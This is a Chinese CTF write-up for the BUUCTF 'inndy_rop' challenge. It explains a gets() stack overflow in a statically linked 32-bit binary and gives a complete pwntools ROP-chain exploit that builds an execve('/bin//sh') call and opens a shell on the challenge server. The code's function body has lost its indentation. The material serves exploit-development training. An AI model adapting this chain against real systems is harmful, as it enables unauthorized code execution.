inndy_rop
使用checksec查看:

开启了栈不可执行,看题目,rop。
拉进IDA中看吧:

堆栈不平衡,不能看伪代码,不过没事,代码简单。
调用了一个overflow函数。跟进去查看:

一个gets()函数,溢出简单明了。
这题是一道静态编译的题目,所以不存在libc的调用了。
可以使用ROPgadget --binary inndy_rop --ropchain找到可以一键getshell的rop片段组合。
再加上偏移,即可。
exp:
from pwn import *
#start
r = remote("node4.buuoj.cn",26188)
# r = process("../buu/inndy_rop")
#attack
from struct import pack
def payload():
p = b'a'*(0xc+4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
r.sendline(p)
payload()
r.interactive()
本文介绍了一道涉及栈不可执行和溢出的静态编译题目,通过使用checksec工具检查,发现存在一个gets()函数导致的溢出漏洞。由于题目是静态编译,不涉及libc调用,因此可以通过ROPgadget找到合适的rop片段来构造payload,实现getshell。最终给出了详细的payload生成代码,包括一系列的pop和mov指令,以执行系统调用获取shell。
613

被折叠的 条评论
为什么被折叠?



